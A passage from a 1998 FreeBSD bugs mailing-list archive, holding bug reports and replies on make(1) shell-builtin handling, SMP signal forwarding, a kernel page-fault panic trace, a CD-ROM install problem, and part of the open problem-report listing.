03:18:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA16541 for freebsd-bugs-outgoing; Mon, 11 May 1998 03:18:20 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA16492 for ; Mon, 11 May 1998 03:18:08 -0700 (PDT) (envelope-from wosch@cs.tu-berlin.de) Received: from caramba.cs.tu-berlin.de (wosch@caramba.cs.tu-berlin.de [130.149.17.12]) by mail.cs.tu-berlin.de (8.8.8/8.8.8) with ESMTP id MAA26361; Mon, 11 May 1998 12:08:29 +0200 (MET DST) Received: (from wosch@localhost) by caramba.cs.tu-berlin.de (8.8.8/8.8.8) id MAA09212; Mon, 11 May 1998 12:08:25 +0200 (MET DST) Message-ID: <19980511120825.B7813@caramba.cs.tu-berlin.de> Date: Mon, 11 May 1998 12:08:25 +0200 From: Wolfram Schneider To: Andre Albsmeier , Wolfram Schneider Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6138 References: <19980510182411.18144@panke.de> <199805110512.HAA28277@internal> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <199805110512.HAA28277@internal>; from Andre Albsmeier on Mon, May 11, 1998 at 07:12:44AM +0200 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1998-05-11 07:12:44 +0200, Andre Albsmeier wrote: > BTW: My INFODIR is (has to be) /server/info. Were will I put it? Into > src/etc/mtree/BSD.root.dist? Yes. -- Wolfram Schneider http://www.freebsd.org/~wosch/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 03:58:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA19466 for freebsd-bugs-outgoing; Mon, 11 May 1998 03:58:31 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA19405; Mon, 11 May 1998 03:57:58 -0700 (PDT) (envelope-from wosch@cs.tu-berlin.de) Received: from caramba.cs.tu-berlin.de (wosch@caramba.cs.tu-berlin.de [130.149.17.12]) by mail.cs.tu-berlin.de (8.8.8/8.8.8) with ESMTP id MAA26209; Mon, 11 May 1998 12:07:23 +0200 (MET DST) Received: (from wosch@localhost) by caramba.cs.tu-berlin.de (8.8.8/8.8.8) id MAA09020; Mon, 11 May 1998 12:07:20 +0200 (MET DST) Message-ID: <19980511120719.A7813@caramba.cs.tu-berlin.de> Date: Mon, 11 May 1998 12:07:19 +0200 From: Wolfram Schneider To: Poul-Henning Kamp Cc: wosch@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6550 References: <19980510223247.09270@panke.de> <14163.894875793@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <14163.894875793@critter.freebsd.dk>; from Poul-Henning Kamp on Mon, May 11, 1998 at 10:36:33AM +0200 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1998-05-11 10:36:33 +0200, Poul-Henning Kamp wrote: > In message <19980510223247.09270@panke.de>, Wolfram Schneider writes: > >On 1998-05-10 12:57:25 -0700, Poul-Henning Kamp wrote: > >> Synopsis: make(1): shell meta-character optimization incomplete > >> > >> State-Changed-From-To: open-closed > > > >*grumble* > > > >Our make is broken, period! Why did you closed the PR? > >Please fix the bugs or reopen the PR again! > > Our make is not broken (at least in this particular respect.) It is broken. > There is not really any reason (apart from speed) for implementing > the shell commands, consequently it cannot be said to be broken > because it doesn't. You did not understand the problem ;-( The current algorithm is if (no_meta_characters(command)) exec(command) else /bin/sh -c "command" where it should be if (no_meta_characters(command) && no_shell_builtin(command)) exec(command) else /bin/sh -c "command" > If you want it to support more builtins, something which I am not > as such against, while on the other hand I don't see any reason to > do it, the very least you can do is to submit a patch. I got now a patch from Theo de Raadt. I will check if the patch works. -- Wolfram Schneider http://www.freebsd.org/~wosch/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 04:03:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA20255 for freebsd-bugs-outgoing; Mon, 11 May 1998 04:03:24 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA20241 for ; Mon, 11 May 1998 04:03:22 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id EAA28733; Mon, 11 May 1998 04:00:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA19200; Mon, 11 May 1998 03:54:42 -0700 (PDT) (envelope-from nobody) Message-Id: <199805111054.DAA19200@hub.freebsd.org> Date: Mon, 11 May 1998 03:54:42 -0700 (PDT) From: will@iki.fi To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: kern/6587: SMP idle cpl breaks signal forwarding Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6587 >Category: kern >Synopsis: SMP idle cpl breaks signal forwarding >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon May 11 04:00:02 PDT 1998 >Last-Modified: >Originator: Ville-Pertti Keinonen >Organization: >Release: -current >Environment: Should occur on any SMP machine. Current versions to at least May 4th. >Description: The cpl either should always be 0 when entering the kernel from user mode or no code should rely on it being 0. Currently, some code relies on it, some doesn't, and at least in the case where the other cpu is idle, it may not correspond to what is set when going to user mode. This sometimes breaks signal forwarding if the signal occurs in an interrupt handler. What seems to be happening is this: - A clock interrupt occurs on an idle cpu. - The signal is set and forwarded. - Xcpuast is entered by the cpu running the process (waits on lock). - The idle cpu returns from the interrupt to an idle state, leaving the cpl as SWI_AST_MASK. - Xcpuast continues, sets the ast in ipending and branches to _doreti with the cpl left by the other cpu -- the ast isn't processed. - The cpl eventually gets cleared, the ast in ipending is probably processed by the cpu that was idle. I'm not sure where exactly the cpl becomes SWI_AST_MASK (I only looked at what was going on with the cpu that was running the process that was supposed to get the signal, the rest is speculation), but my guess is it's restored when returning from the interrupt to the idle state (it seems that in the idle state the cpl is set by a call to spl0). >How-To-Repeat: On a mostly idle SMP machine, run the following program: #include #include #include void handler(int signo) { printf("got signal\n"); exit(0); } int main(int argc, char **argv) { signal(SIGALRM, handler); alarm(1); for (;;) ; } Repeat several times, run it using time(1) to verify that it's definitely not doing what it's supposed to (it should be obvious enough, in any case -- for me it usually takes ten seconds or more for the signal to arrive if I do nothing). >Fix: One workaround (this could be done many ways) is to always return the cpl to 0 before returning from an exception to user mode in _doreti. This is not the correct way to fix the problem. Adding the following lines to _doreti (in sys/i386/isa/ipl.s) seems to work. (From memory, not a real patch, sorry) _doreti: #ifdef SMP TEST_CIL #endif FAKE_MCOUNT(_bintr) /* init "from" _bintr -> _doreti */ addl $4,%esp /* discard unit number */ popl %eax /* cpl or cml to restore */ + testb $3,52(%esp) /* going back to user mode? */ + jz 1f + xorl %eax,%eax /* yup, cpl should be 0. */ +1: doreti_next: Note that this makes the equivalent tests done for some traps redundant. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 04:03:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA20256 for freebsd-bugs-outgoing; Mon, 11 May 1998 04:03:24 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA20246 for ; Mon, 11 May 1998 04:03:22 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id EAA28738; Mon, 11 May 1998 04:00:03 -0700 (PDT) Date: Mon, 11 May 1998 04:00:03 -0700 (PDT) Message-Id: <199805111100.EAA28738@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Wolfram Schneider Subject: Re: bin/6550 Reply-To: Wolfram Schneider Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6550; it has been noted by GNATS. From: Wolfram Schneider To: Poul-Henning Kamp Cc: wosch@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6550 Date: Mon, 11 May 1998 12:07:19 +0200 On 1998-05-11 10:36:33 +0200, Poul-Henning Kamp wrote: > In message <19980510223247.09270@panke.de>, Wolfram Schneider writes: > >On 1998-05-10 12:57:25 -0700, Poul-Henning Kamp wrote: > >> Synopsis: make(1): shell meta-character optimization incomplete > >> > >> State-Changed-From-To: open-closed > > > >*grumble* > > > >Our make is broken, period! Why did you closed the PR? > >Please fix the bugs or reopen the PR again! > > Our make is not broken (at least in this particular respect.) It is broken. > There is not really any reason (apart from speed) for implementing > the shell commands, consequently it cannot be said to be broken > because it doesn't. You did not understand the problem ;-( The current algorithm is if (no_meta_characters(command)) exec(command) else /bin/sh -c "command" where it should be if (no_meta_characters(command) && no_shell_builtin(command)) exec(command) else /bin/sh -c "command" > If you want it to support more builtins, something which I am not > as such against, while on the other hand I don't see any reason to > do it, the very least you can do is to submit a patch. I got now a patch from Theo de Raadt. I will check if the patch works. -- Wolfram Schneider http://www.freebsd.org/~wosch/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 08:03:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA21797 for freebsd-bugs-outgoing; Mon, 11 May 1998 08:03:29 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA21773 for ; Mon, 11 May 1998 08:03:22 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA24486; Mon, 11 May 1998 08:00:01 -0700 (PDT) Received: from hub.org (hub.org [209.47.148.200]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA21392 for ; Mon, 11 May 1998 08:01:30 -0700 (PDT) (envelope-from scrappy@hub.org) Received: (from root@localhost) by hub.org (8.8.8/8.7.5) id LAA19751; Mon, 11 May 1998 11:01:30 -0400 (EDT) Message-Id: <199805111501.LAA19751@hub.org> Date: Mon, 11 May 1998 11:01:30 -0400 (EDT) From: "Marc G. Fournier" Reply-To: scrappy@hub.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6589: page fault while in kernel mode Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6589 >Category: kern >Synopsis: system panick'd with May 4th kernel >Confidential: yes >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon May 11 08:00:00 PDT 1998 >Last-Modified: >Originator: Marc G. Fournier >Organization: Hub.Org Networking Services >Release: FreeBSD 3.0-CURRENT i386 >Environment: Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.0-CURRENT #0: Mon May 4 16:38:18 EDT 1998 root@athome.hub.org:/usr/src/sys/compile/newhub Timecounter "i8254" frequency 1193182 Hz cost 3031 ns Timecounter "TSC" frequency 267274201 Hz cost 216 ns CPU: Pentium Pro (267.27-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x633 Stepping=3 Features=0x80f9ff real memory = 134217728 (131072K bytes) avail memory = 128249856 (125244K bytes) Probing for devices on PCI bus 0: chip0: rev 0x03 on pci0.0.0 chip1: rev 0x03 on pci0.1.0 chip2: rev 0x01 on pci0.7.0 chip3: rev 0x01 int d irq 255 on pci0.7.2 chip4: rev 0x01 on pci0.7.3 de0: rev 0x22 int a irq 9 on pci0.10.0 de0: 21140A [10-100Mb/s] pass 2.2 de0: address 00:60:67:30:75:ef ahc0: rev 0x00 int a irq 10 on pci0.11.0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs scbus0 at ahc0 bus 0 sd0 at scbus0 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 4350MB (8910423 512 byte sectors) sd0: with 8338 cyls, 5 heads, and an average 213 sectors/track ahc1: rev 0x01 int a irq 11 on pci0.12.0 ahc1: aic7880 Wide Channel, SCSI Id=7, 16 SCBs scbus1 at ahc1 bus 0 sd1 at scbus1 target 0 lun 0 sd1: type 0 fixed SCSI 2 sd1: Direct-Access 4101MB (8399520 512 byte sectors) sd1: with 3907 cyls, 20 heads, and an average 107 sectors/track sd2 at scbus1 target 1 lun 0 sd2: type 0 fixed SCSI 2 sd2: Direct-Access 4101MB (8399520 512 byte sectors) sd2: with 3907 cyls, 20 heads, and an average 107 sectors/track Probing for devices on PCI bus 1: Probing for PnP devices: Probing for devices on the ISA bus: sc0 not found at 0x60 lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa sio0: type 16550A, console fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in npx0 on motherboard npx0: INT 16 interface ccd0-3: Concatenated disk drivers IP packet filtering initialized, divert enabled, default to accept, logging limited to 100 packets/entry de0: enabling 100baseTX port >Description: Script started on Mon May 11 10:57:59 1998 hub# gdb -k kernel /var/crash/vmcore.1 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i386-unknown-freebsd), Copyright 1996 Free Software Foundation, Inc... IdlePTD 21d000 initial pcb at 1f15a4 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode fault virtual address = 0xefc40278 fault code = supervisor read, page not present instruction pointer = 0x8:0xf018f23d stack pointer = 0x10:0xf01e3e34 frame pointer = 0x10:0xf01e3e68 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = Idle interrupt mask = net trap number = 12 panic: page fault syncing disks... Fatal trap 12: page fault while in kernel mode fault virtual address = 0xb8 fault code = supervisor read, page not present instruction pointer = 0x8:0xf0113d67 stack pointer = 0x10:0xf01e3bc8 frame pointer = 0x10:0xf01e3bdc code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = Idle interrupt mask = net bio cam trap number = 12 panic: page fault dumping to dev 401, offset 262144 dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 --- #0 boot (howto=260) at ../../kern/kern_shutdown.c:296 296 dumppcb.pcb_cr3 = rcr3(); (kgdb) where #0 boot (howto=260) at ../../kern/kern_shutdown.c:296 #1 0xf0111f26 in panic (fmt=0xf01c190f "page fault") at ../../kern/kern_shutdown.c:436 #2 0xf01c251d in trap_fatal (frame=0xf01e3b8c) at ../../i386/i386/trap.c:879 #3 0xf01c1fb0 in trap_pfault (frame=0xf01e3b8c, usermode=0) at ../../i386/i386/trap.c:772 #4 0xf01c1c47 in trap (frame={tf_es = -210042864, tf_ds = -254214128, tf_edi = 0, tf_esi = -209979640, tf_ebp = -266454052, tf_isp = -266454092, tf_ebx = 0, tf_edx = -1073214400, tf_ecx = 991408, tf_eax = -1073348096, tf_trapno = 12, tf_err = 0, tf_eip = -267305625, tf_cs = 8, tf_eflags = 66118, tf_esp = -209979640, tf_ss = -1073348096}) at ../../i386/i386/trap.c:396 #5 0xf0113d67 in tsleep (ident=0xf37bf708, priority=16, wmesg=0xf012df72 "biord", timo=0) at ../../kern/kern_synch.c:362 #6 0xf012dfb7 in biowait (bp=0xf37bf708) at ../../kern/vfs_bio.c:1859 #7 0xf012bfdf in bread (vp=0xf669f240, blkno=262320, size=8192, cred=0x0, bpp=0xf01e3c58) at ../../kern/vfs_bio.c:299 #8 0xf019d35f in ffs_update (vp=0xf69f0ea0, access=0xf01e3cc0, modify=0xf01e3cc0, waitfor=0) at ../../ufs/ffs/ffs_inode.c:115 #9 0xf01a1dc8 in ffs_fsync (ap=0xf01e3cfc) at ../../ufs/ffs/ffs_vnops.c:257 #10 0xf01a01a7 in ffs_sync (mp=0xf0ddae00, waitfor=2, cred=0xf0d98b80, p=0xf0210460) at vnode_if.h:499 #11 0xf0134fc3 in sync (p=0xf0210460, uap=0x0) at ../../kern/vfs_syscalls.c:509 #12 0xf0111b0b in boot (howto=256) at ../../kern/kern_shutdown.c:218 #13 0xf0111f26 in panic (fmt=0xf01c190f "page fault") at ../../kern/kern_shutdown.c:436 #14 0xf01c251d in trap_fatal (frame=0xf01e3df8) at ../../i386/i386/trap.c:879 #15 0xf01c1fb0 in trap_pfault (frame=0xf01e3df8, usermode=0) at ../../i386/i386/trap.c:772 #16 0xf01c1c47 in trap (frame={tf_es = -258277360, tf_ds = -267255792, tf_edi = 64, tf_esi = 66288, tf_ebp = -266453400, tf_isp = -266453472, tf_ebx = 269085096, tf_edx = 0, tf_ecx = -254189104, tf_eax = 65694, tf_trapno = 12, tf_err = 0, tf_eip = -266800579, tf_cs = 8, tf_eflags = 66051, tf_esp = -254187520, tf_ss = -260164992}) at ../../i386/i386/trap.c:396 #17 0xf018f23d in tulip_txput (sc=0xf0d96800, m=0xf09bd180) at machine/pmap.h:171 #18 0xf018f845 in tulip_ifstart_one (ifp=0xf0d96818) at ../../pci/if_de.c:4807 #19 0xf0142948 in ether_output (ifp=0xf0d96818, m0=0xf07e3280, dst=0xf1c9a0b0, rt0=0xf1a4e400) at ../../net/if_ethersubr.c:445 #20 0xf0151680 in ip_output (m0=0xf07e3280, opt=0x0, ro=0xf65f180c, flags=0, imo=0x0) at ../../netinet/ip_output.c:406 #21 0xf0155c09 in tcp_output (tp=0xf65f1840) at ../../netinet/tcp_output.c:686 #22 0xf015696f in tcp_timers (tp=0xf65f1840, timer=0) at ../../netinet/tcp_timer.c:295 #23 0xf0156784 in tcp_slowtimo () at ../../netinet/tcp_timer.c:151 #24 0xf012503b in pfslowtimo (arg=0x0) at ../../kern/uipc_domain.c:230 #25 0xf0116203 in softclock () at ../../kern/kern_timeout.c:124 (kgdb) up 5 #5 0xf0113d67 in tsleep (ident=0xf37bf708, priority=16, wmesg=0xf012df72 "biord", timo=0) at ../../kern/kern_synch.c:362 362 int s, sig, catch = priority & PCATCH; (kgdb) list 357 void *ident; 358 int priority, timo; 359 const char *wmesg; 360 { 361 struct proc *p = curproc; 362 int s, sig, catch = priority & PCATCH; 363 struct callout_handle thandle; 364 365 #ifdef KTRACE 366 if (KTRPOINT(p, KTR_CSW)) (kgdb) quit hub# exit exit Script done on Mon May 11 10:58:54 1998 >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 09:43:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA04986 for freebsd-bugs-outgoing; Mon, 11 May 1998 09:43:24 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA04976 for ; Mon, 11 May 1998 09:43:22 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA24816; Mon, 11 May 1998 09:40:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA03413; Mon, 11 May 1998 09:34:55 -0700 (PDT) (envelope-from nobody) Message-Id: <199805111634.JAA03413@hub.freebsd.org> Date: Mon, 11 May 1998 09:34:55 -0700 (PDT) From: webmaster@healthnet-sl.es To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/6592: Install do not recognize Mitsumi 1x CDROM (mcd0) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6592 >Category: i386 >Synopsis: Install do not recognize Mitsumi 1x CDROM (mcd0) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon May 11 09:40:00 PDT 1998 >Last-Modified: >Originator: Carlos Amengual >Organization: >Release: 2.2.6 >Environment: FreeBSD magenta.healthnet-sl.es 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Wed Mar 25 02:28:49 GMT 1998 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC i386 >Description: 2.2.6 Install program does not recognize my old 1x Mitsumi CD-ROM. I had to install from FTP and then it recognized the CD-ROM without problems. The machine previously had 2.0.5-RELEASE installed and the install with this release went perfectly. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 11:13:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA22078 for freebsd-bugs-outgoing; Mon, 11 May 1998 11:13:19 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA22052 for ; Mon, 11 May 1998 11:13:15 -0700 (PDT) (envelope-from owner-bugmaster@freebsd.org) Received: (from peter@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA25014 for freebsd-bugs; Mon, 11 May 1998 11:00:04 -0700 (PDT) Date: Mon, 11 May 1998 11:00:04 -0700 (PDT) Message-Id: <199805111800.LAA25014@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Subject: Current problem reports Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Current FreeBSD problem reports The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. Bugs can be in one of several states: o - open A problem report has been submitted, no sanity checking performed. a - analyzed The report has been examined by a team member and evaluated. f - feedback The problem has been solved, and the originator has been given a patch or a fix has been committed. The PR remains in this state pending a response from the originator. s - suspended The problem is not being worked on. This is a prime candidate for somebody who is looking for a project to do. If the problem cannot be solved at all, it will be closed, rather than suspended. c - closed A problem report is closed when any changes have been integrated, documented, and tested. Critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- a [1995/01/11] i386/105 bde Distributed libm (msun) has non-standard o [1996/06/05] kern/1293 Fatal trap 12: page fault while in kernel s [1996/07/15] bin/1387 Group file errors cause absolute havoc [P o [1996/10/08] kern/1744 peter run queue or proc list smashed 4 times in f [1996/10/28] kern/1919 se access to files/directories fails, gives o [1996/12/20] bin/2258 wollman route add/delete [network] xxx.yyy.zzz.0 o [1997/01/03] conf/2367 gibbs Buslogic SCSI driver bad probe of 742A EI o [1997/02/11] kern/2717 Panic with daily script (find) o [1997/03/08] kern/2923 panic: vm_fault: fault on nofault entry, o [1997/05/01] i386/3462 yokota using a PS/2 mouse causes kernel trap in o [1997/05/24] kern/3674 peter NFS in 2.2 RELEASE hangs. o [1997/06/01] kern/3752 peter NFS dirs under -current still have proble o [1997/06/01] kern/3753 peter "make" hangs when building in an NFS dir o [1997/06/25] kern/3949 sos The WD controller probe can fail when it o [1997/07/03] kern/4021 peter Local mount of a local NFS exported direc o [1997/07/31] kern/4200 peter NFS: "vm_fault: fault on nofault entry" w o [1997/08/11] kern/4273 kernel page faults with heavy disk access o [1997/08/12] kern/4289 kernel panic: vm_fault: fault on nofault o [1997/08/18] kern/4332 gibbs System crash after SCSI DAT tape access. o [1997/08/18] bin/4333 gibbs Dump backup utility completely crashes th o [1997/08/20] kern/4345 Kernel panic is caused by passing file de o [1997/09/02] kern/4453 2.2.2 lockup on restart with ASUS-TX97 mo o [1997/09/03] ports/4458 sanpei Japanese MH's packf command dumps core o [1997/10/01] kern/4673 Two panics, now crash dumps, always in re o [1997/10/25] kern/4849 2.2.5-RELEASE does not detect TI PCI-1130 o [1997/10/25] kern/4851 adaptec 2940U hangs system if scsi tape d o [1997/10/27] kern/4864 Boot Failure in FreeBSD 2.2.5 RELEASE, ma o [1997/10/28] misc/4876 SCSI hard disks die too often o [1997/11/07] kern/4968 No flow control setting seems to make the o [1997/11/09] kern/4995 atalk.diff.2.2 patch to 2.2.5-RELEASE bre o [1997/11/10] kern/4996 peter NFS crash, possibly related to file bigge o [1997/11/20] kern/5117 panic: biodone: buffer not busy o [1997/11/23] kern/5130 Kernel panic GPF imediatly on loading ker o [1997/11/24] bin/5139 portmap does not find interfaces correctl o [1997/11/25] bin/5148 peter mode of file and access on NFS mounted p f [1997/12/04] i386/5223 mount_msdos /dev/fd0.1440 /mnt and failur f [1997/12/21] kern/5355 Fix for NULLFS problems s [1998/01/15] i386/5493 [PATCH] aic6330.c: kernel freeze when I a o [1998/01/26] bin/5572 A major time step blows cron up, runs tho o [1998/01/28] kern/5592 ffs_inode_hash_lock can get permanently l o [1998/01/28] i386/5594 System not bootable when bad partition ty o [1998/02/03] kern/5641 running processes at the IDLE priority (i o [1998/02/10] kern/5702 problem with address network routing o [1998/02/10] kern/5703 CDROM Media Error triggers complete syste o [1998/02/10] kern/5709 Fatal trap 12: page fault in kernel mode o [1998/02/12] bin/5732 2.2.5 Won't install using partition creat o [1998/02/16] kern/5766 kernel panic(s) in 2.2-STABLE o [1998/02/22] bin/5817 brian ppp: 100% cpu time, funny terminal mode ( o [1998/02/25] kern/5846 Generic SCSI ioctl w/ big data transfer f o [1998/03/01] kern/5886 2.2-STABLE crashes when unmounting a busy o [1998/03/01] kern/5895 Kernal dumps caused by fork? o [1998/03/02] kern/5898 2.2-stable kernel panics pmap_relase: fre o [1998/03/13] kern/5994 Kernel Panics on FreeBSD-3.0 current SMP o [1998/03/14] kern/6006 cy driver panics machine when a user dial o [1998/03/22] kern/6102 panic: biodone: buffer not busy o [1998/03/23] bin/6121 peter gethostbyname(3) no longer returns NO_DAT o [1998/03/25] kern/6133 optical drive with 1024-byte (1k) sectors o [1998/03/27] kern/6147 syncronus ufs does not sync o [1998/03/29] bin/6168 tn3270 gets undefined symbol error on sta o [1998/04/05] i386/6219 wine causes system crash o [1998/04/11] kern/6274 panic: handle_workitem_freeblocks: block o [1998/04/19] kern/6349 Luigi's sound driver stall wihen it outpu o [1998/04/24] ports/6405 ports does not build; ignores local CFLAGS, CXX o [1998/04/30] kern/6465 File contents are zeroed after reboot o [1998/05/01] kern/6479 VM system not working right. o [1998/05/07] i386/6542 yokota My system freeze without any warning when f [1998/05/08] bin/6552 syslog stops working 67 problems total. Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [1995/03/02] misc/229 bde acos() core dump a [1995/03/20] kern/260 davidg msync and munmap don't bother to update m s [1995/05/16] kern/425 arp entries not getting removed when inte f [1995/06/17] kern/527 dufault dump causes assertion in ncr.c o [1995/07/02] kern/579 bde sio: RS_IBUFSIZE at 256 bytes serial line s [1995/07/21] i386/631 if_ix does not support bpf, nor does it a s [1995/07/29] kern/638 Transmitted packets not passed to bpf in o [1995/10/18] bin/786 wpaul Problem with NIS and large group maps a [1996/02/17] bin/1030 cracauer /bin/sh does not pass environment variabl s [1996/03/06] kern/1067 panic: ufs_lock: recursive lock not expec o [1996/05/24] misc/1247 yokota Conflicting header files f [1996/05/26] kern/1256 ZNYX 314 mysterously looses packets o [1996/06/07] kern/1301 davidg DEC FDDI/PCI Adapter: halt code = 6 (DMA f [1996/06/12] bin/1315 des ls(1) s [1996/07/19] docs/1402 sh(1) manual f [1996/08/03] bin/1461 Incorrect address binding of Kerberized r o [1996/08/04] kern/1467 gibbs scsi_prevent causing tape problems on clo o [1996/08/18] kern/1512 dyson Use of 